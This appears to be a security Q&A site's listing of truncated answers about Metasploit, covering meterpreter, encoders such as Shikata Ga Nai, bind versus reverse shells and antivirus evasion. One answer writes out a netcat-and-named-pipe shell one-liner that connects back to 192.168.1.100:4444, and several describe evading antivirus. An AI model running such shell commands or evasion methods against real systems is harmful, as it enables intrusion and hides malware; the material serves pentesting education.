74

As far as forensics is concerned, Metasploit have payloads which are specifically designed to make the work of forensic analysis more difficult. For example, the most famous payload which is selected by default with a lot of exploit modules is the meterpreter payload. It completely runs in-memory and don't touch the disk for any operations (unless ...


33

I don't know about malicious attackers/hackers, but I do know several pentesters (myself included) that include Metasploit in their toolboxes. It's by far not the only tool used, but it certainly has its uses. That being said, your question seems to be about "covering your tracks" which is naturally something more useful to the malicious attacker. On my ...


30

Bypassing AV and IPS can be done through meterpreter or any other RAT. Most of the time meterpreter is handy because first it is open source and second it is implemented as a reflective DLL which insert itself in the exploited process without touching the disk. AV solutions can be bypassed easily through the Veil Evasion project while reverse_https ...


26

PowerShellEmpire and Slingshot are the two primary considerations for implants going into 2016. However, you can get these implants easily caught by intrusion detection, advanced antivirus engines, and threat hunting practices if you don't understand the techniques. Meterpreter and Cobalt Strike Beacon also have their place. An interesting backdoor I came ...


17

Shikata Ga Nai is an encoder included in the Metasploit framework for the x86 architecture. From the available source code: This encoder implements a polymorphic XOR additive feedback encoder. The decoder stub is generated based on dynamic instruction substitution and dynamic block ordering. Registers are also selected dynamically. An academic paper ...


16

Yes, pentesters do use Metasploit. With custom exe templates and shikata_ga_nai, you are able to fool nearly every AV solution (Google for AV evasion to learn more about this) and the meterpreter payload is really handy to escalate privileges in Windows domains. That being said, Metasploit is only one tool of many and a good pentester should know and use ...


15

In assembly code, NOP is short for No OPeration. This is most popularly known for x86 chips as 0x90. When a processor loads that instruction, it simply does nothing (at least useful) for the one cycle and then advances the register to the next instruction. NOPs keep the payload sizes consistent ... by ensuring that any space not used by other code will ...


15

There are strategies to improve the chances of evading a target's AV. The overall strategy is to try to develop a backdoor that is unique as possible. Writing your own backdoor from scratch will be the most successful. A protected, or "encrypted" envelope around malware is a common strategy. However, AV's will sometimes flag the envelope and assume ...


13

There are advantages to using Immunity Security or CoreSec products over Rapid7 (whether the commercial Metasploit offerings or the FOSS MetaSploit Framework aka MSF). You'll have to test them out for yourself, but it mostly has to do with being able to run canned exploits and organize plans/results. As far as I understand it, all MSF exploits can be run ...


12

Ran into the same issue when reproducing. UPDATE: When using the windows/local/ask exploit, it seems you do not need to set a payload with it. In the windows/local/ask exploit you can set a reference to the undetectabletrojan.exe, which will then be executed with elevated privileges through UAC. However, as pointed out by @SilverlightFox, the ask exploit ...


11

I'm scared to chime in on this thread given that the existing answers are already so good! But I'm going to give it a go anyway, and come from a slightly different angle, and that is adapting and modifying Meterpreter itself to get around the problems. I'll begin by pulling your question apart a little. Now I can bypass Anti-Virus and Firewalls easily, ...


11

If a company were to actually patch all their systems, then Metasploit would have very little to offer in that environment. However, it's extremely common for companies not to patch all of their systems for any of a number of reasons: Bad inventory management -- some companies don't even know all the systems they have 3rd party software that's only ...


10

The short answer is that you need to talk to the port to see who answers. Two things can come from this: banners protocol traffic The problem is that banners can be faked, so you need a tool to analyze the traffic in order to get an accurate picture. Tools: netcat/nc/ncat - useful for basic banner grabbing sbd - like nc, but encrypted - useful for basic ...


10

The thing is that metasploit infact is a framework, so a collection of exploits. The beautiful thing about a framework is that you don't need to understand what's happening behind the scenes. I think that if you want to learn more about exploits and how they work, you pick yourself up some basic books like The Shellcoder's Handbook. If you want a more ...


10

In order to evade the antivirus solution, first you need to understand how the antivirus flag your particular backdoor. First method the AV engine use is its vast set of malicious file signatures to search for particular patterns and signatures in an executable. In case of Metasploit, the AV solutions have signatures for the default exe template (data/...


10

Most ncs in the OffSec lab (like most ncs in popular linux distros) don't support -e. It simply doesn't exist. The solution is to redirect the stdin/stdout communication through a pipe: cd /tmp mknod mypipe p /bin/bash 0< /tmp/mypipe | nc -nlvp 4444 1> /tmp/mypipe for a bind shell or /bin/bash 0< /tmp/mypipe | nc 192.168.1.100 4444 1> /tmp/mypipe ...


10

There is no differences, as exploit is an alias to run: Auxiliary Commands ================== Command Description ------- ----------- check Check to see if a target is vulnerable exploit This is an alias for the run command pry Open a Pry session on the current module rcheck Reloads the ...


9

http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#execute The 'execute' command runs a command on the target http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#shell The 'shell' command will present you with a standard shell on the target system. If you want to run the command on the attacker host ...


9

You have contradictory information: nmap says the port is filtered but nessus says that the vulnerability is present on the system. They cannot both be true, one of these must be wrong. Given that metasploit is unable to connect it is likely that nessus is reporting incorrectly, or is basing the vulnerability report on information gleaned from other open ...


9

Shikata Ga Nai isn't a payload, but an encoder. The payload is the reverse shell. Metasploit offers several encoders, Shikata Ga Nai being one of them. An encoder attempts to overcome detection by AV, network intrusion detection, and keep characters that can cause a crash of the victim out of the payload, like null bytes.


9

Bind tcp opens up a port on the victim's device. Usually a machine is behind a firewall (or NAT) and firewalls don't allow ports other than a few specific ones (like 80, 443, 22, etc). Reverse TCP tries to connect to you (from the target machine back to you: you open a port and wait for the connection). The attacking machine (yours) has a listener port on ...


8

For one, it might not work at all. I tried recently(in April 2012) on two Windows machines (7 and 2008 R2), and some aspect of the PostgreSQL setup invariably fails. I spoke to a Rapid7 account manager about it, and he confirmed that the Windows version is flaky. He also recommended against using it in a production environment.


8

Consider what reflective DLL injection is: You exploit an application to get it to execute arbitrary code and this shell code loads a DLL into memory as a blob of data (all standard shell code stuff so far...) and then gives it execution such that the DLL loads itself properly as a DLL via a PE loader. The purpose of this whole idea: Let you write a full ...


8

Yes, Metasploit is very commonly used by industry professionals. See for example this link.


8

The vulnerability is just the weakness in the software that allows an attacker to gain control. For example (since you mentioned buffer overflows), an unchecked buffer copy via strcpy, or using memcpy with an attacker-controlled length. An exploit is the actual process of leveraging a vulnerability. For buffer overflows, this is the process of overwriting ...


8

#/etc/init.d/postgresql service --status-all service postgresql start service postgresql status #/usr/bin/msfconsole msfdb init msfconsole msf > db_status


7

I'd recommend that you don't install Metasploit on your production OS. To make Metasploit run without issues, it's recommended that you switch off your firewall and anti-virus, which may not be a good idea for your production system. My recommendation: Install Metasploit on a virtual machine (e.g. VirtualBox) in Bridged Mode (so the payloads can connect back)...


7

The msfvenom -s or generate command is useful for individual payload sizes. Sometimes you will want to know all the payloads within a certain payload size constraint. For example if you are developing an exploit, you know you have limited space to carry a payload of say 100 bytes and you want to know all the payloads that are less than or equal to 100 bytes, ...


7

Yes, certainly. Malware that affects network accessible services very rarely require user interaction. A worm such as SQL Slammer is a prime example, which propagated across the Internet looking for exposed SQL Servers that had a blank password for the sa account. Client machines may also expose vulnerable services, but even if they don't, they can ...


Only top voted, non community-wiki answers of a minimum length are eligible